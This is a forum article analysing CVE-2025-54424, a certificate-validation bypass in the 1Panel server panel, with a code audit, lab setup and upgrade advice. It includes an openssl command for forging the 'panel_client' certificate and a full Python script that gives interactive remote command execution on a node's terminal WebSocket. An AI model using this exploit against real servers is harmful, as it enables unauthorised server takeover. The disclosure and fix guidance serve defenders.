问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
【热点】CVE-2025-54424 1Panel远程命令执行漏洞详细分析及复现(附利用脚本)
漏洞分析
1Panel 是新一代的 Linux 服务器运维管理面板,用户可以通过 Web 界面轻松管理 Linux 服务器,如主机监控、文件管理、数据库管理、容器管理等。其V2版本中引入了节点管理的功能,可以通过添加节点来控制其他的主机,但是用于核心和代理端点之间通信的HTTPS协议在证书验证过程中存在证书验证不完整问题,导致未经授权的接口访问。由于1Panel中存在大量命令执行或高权限接口,可能导致远程代码执行。
一、漏洞简介 ====== 1Panel 是新一代的 Linux 服务器运维管理面板,用户可以通过 Web 界面轻松管理 Linux 服务器,如主机监控、文件管理、数据库管理、容器管理等。其V2版本中引入了节点管理的功能,可以通过添加节点来控制其他的主机,但是用于核心和代理端点之间通信的HTTPS协议在证书验证过程中存在证书验证不完整问题,导致未经授权的接口访问。由于1Panel中存在大量命令执行或高权限接口,可能导致远程代码执行。 二、影响版本 ====== V2.0.0 <= 1Panel < V2.0.6 注:此漏洞只影响专业版,因为社区版不支持节点管理功能。 三、漏洞原理分析 ======== 这里对1Panel V2.0.5的代码进行审计,代码下载地址为https://github.com/1Panel-dev/1Panel/archive/refs/tags/v2.0.5.zip : 首先在路由文件agentinitouterouter.go中创建了路由分组/api/v2, 如果当前节点不是 Master 节点,就启用名称为Certificate的middleware  继续跟进查看名称为Certificate的middleware的代码,路径为agent/middleware/certificate.go,发现Certificate函数判断了c.Request.TLS.HandshakeComplete是否完成 TLS 握手且客户端提供了证书 ,然后通过`cert:= c.Request.TLS.PeerCertificates[0]`获取第一个证书,验证客户端证书的 CommonName 是否为 "panel\_client",并处理 Connection 头,如果是Upgrade(例如 WebSocket),直接放行,不再验证Proxy-Id  继续跟进c.Request.TLS.HandshakeComplete,它的判断逻辑在agent/server/server.go代码Start函数中的tls.RequireAnyClientCert, 此处的tls.RequireAnyClientCert只要求客户端提供证书,无法起到验证证书的作用,所以使用伪造的证书可以通过TLS握手  这里我们可以再详细看一下certificate.go的代码,只要伪造的证书的CommonName为 "panel\_client" ,且使用websocket连接,那么就不会校验后面的Proxy-Id,这样我们就可以通过`openssl req -x509 -newkey rsa:2048 -keyout panel_client.key -out panel_client.crt -days 365 -nodes -subj "/CN=panel_client"`来伪造证书,并通过websocket建立连接就可以成功建立TLS通信,绕过证书的校验 ```go func Certificate() gin.HandlerFunc { return func(c *gin.Context) { // 1. 如果当前是 Master 节点,跳过校验,直接放行 if global.IsMaster { c.Next() return } // 2. 判断请求是否完成 TLS 握手且客户端提供了证书 if !c.Request.TLS.HandshakeComplete || len(c.Request.TLS.PeerCertificates) == 0 { helper.InternalServer(c, errors.New("no such tls peer certificates")) return } // 3. 获取客户端证书的第一个证书 cert := c.Request.TLS.PeerCertificates[0] // 4. 验证客户端证书的 CommonName 是否为 "panel_client" if cert.Subject.CommonName != "panel_client" { helper.InternalServer(c, fmt.Errorf("err certificate")) return } // 5. 处理 Connection 头,如果是 Upgrade(例如 WebSocket),直接放行 conn := c.Request.Header.Get("Connection") if conn == "Upgrade" { c.Next() return } // 6. 验证代理 ID 是否一致 masterProxyID := c.Request.Header.Get("Proxy-Id") proxyID, err := cmd.RunDefaultWithStdoutBashC("cat /etc/1panel/.nodeProxyID") if err == nil && len(proxyID) != 0 && strings.TrimSpace(proxyID) != strings.TrimSpace(masterProxyID) { helper.InternalServer(c, fmt.Errorf("err proxy id")) return } // 7. 校验全部通过,继续处理请求 c.Next() } } ``` 接下来我们只要寻找一个可以执行命令的接口就可以了,  例如Terminal SSH WebSocket 接口,路由地址: /hosts/terminal, 请求格式如下: ```bash { "type": "cmd", "data": "要执行命令的base64编码" } ``` 四、环境搭建 ====== 1、下载1Panel社区版V2.0.5离线安装包 下载地址为 <https://resource.fit2cloud.com/1panel/package/v2/stable/v2.0.5/release/1panel-v2.0.5-linux-amd64.tar.gz> ,下载后将安装包拖到云服务器上。 2、解压tar包 ```bash tar zxvf 1panel-v2.0.5-linux-amd64.tar.gz ``` 3、进入解压后的目录,执行脚本,然后按照指示安装即可 ```bash cd 1panel-v2.0.5-linux-amd64 ./install.sh ```  4、导入授权文件 安装完成后用浏览器访问1Panel,然后在面板设置-许可证-添加处导入授权文件,我是为了复现漏洞临时买了一个月的授权,可以在官网直接购买:<https://www.lxware.cn/1panel>   五、漏洞复现 ====== 1、添加子节点 ------- 首先要在高级功能-节点管理-添加节点中添加一个子节点,子节点为另一个云服务器,端口为默认的9999 **(注:节点管理功能为专业版独占,导入授权文件后才可使用)**  添加完成后就会在节点管理中看到子节点的状态  2、伪造证书 ------ ```bash openssl req -x509 -newkey rsa:2048 -keyout panel_client.key -out panel_client.crt -days 365 -nodes -subj "/CN=panel_client" ```  3、使用伪造证书建立websocket连接 --------------------- python检测脚本如下: ```python import websocket import ssl import json import base64 # ====== 配置部分 ====== WS_URL = "wss://xxx.xxx.xxx.xxx:9999/api/v2/hosts/terminal" #这里要替换为子节点的实际ip地址或者域名 CERT_FILE = "panel_client.crt" KEY_FILE = "panel_client.key" INIT_CMD = { "type": "cmd", "data": base64.b64encode(b"whoami\n").decode() } def recv_one(ws): try: msg = ws.recv() print("[←] 收到消息:", msg) try: data_obj = json.loads(msg) if "data" in data_obj: decoded = base64.b64decode(data_obj["data"]).decode(errors="replace") print("[↓] 解码结果:\n" + decoded) except Exception as e: print("[!] 响应解析失败:", e) except Exception as e: print("[!] 接收失败:", e) def main(): ws = websocket.WebSocket(sslopt={ "certfile": CERT_FILE, "keyfile": KEY_FILE, "cert_reqs": ssl.CERT_NONE, "check_hostname": False }) try: ws.connect(WS_URL) print("[*] 已连接 WebSocket 服务器") recv_one(ws) print("[→] 已发送 whoami 指令") ws.send(json.dumps(INIT_CMD)) recv_one(ws) while True: user_input = input(">>> 请输入命令(明文,输入 exit 退出):\n") if user_input.strip().lower() == "exit": break if not user_input.strip(): continue b64data = base64.b64encode((user_input.strip() + "\n").encode()).decode() msg = { "type": "cmd", "data": b64data } print("[→] 已发送指令:", user_input.strip()) ws.send(json.dumps(msg)) recv_one(ws) except Exception as e: print("[!] 连接失败:", e) finally: ws.close() print("[*] 已断开连接") if __name__ == "__main__": main() ``` 脚本会在建立websocket连接成功后首先自动执行一次whoami命令,然后后续想执行什么命令可以在终端中交互输入,脚本执行效果如下:  六、修复建议 ====== 将1Panel升级至安全版本,即v2.0.6及以上版本。可以在面板设置-关于中直接点击版本更新,也可以在官网下载安装包更新:[https://resource.fit2cloud.com/1panel/package/v2/stable/v2.0.6/release/1panel-v2.0.6-linux-amd64.tar.gz](https://resource.fit2cloud.com/1panel/package/v2/stable/v2.0.5/release/1panel-v2.0.5-linux-amd64.tar.gz) **注:主节点升级完成后,所有子节点也要升级至最新版本。** 七、总结 ==== 该漏洞利用了1Panel代码中对客户端证书校验不严格的纰漏,通过构造websocket请求进一步绕过对证书的校验,最终实现用自己生成的证书连接子节点。该漏洞影响范围较大,且利用比较简单,利用后可以直接接管服务器权限,建议尽快修复该漏洞,重点监测、拦截可疑的websocket连接。
发表于 2025-08-05 16:17:14
阅读 ( 401 )
分类:
服务器应用
0 推荐
收藏
0 条评论
请先
登录
后评论
xiaoyu007
2 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!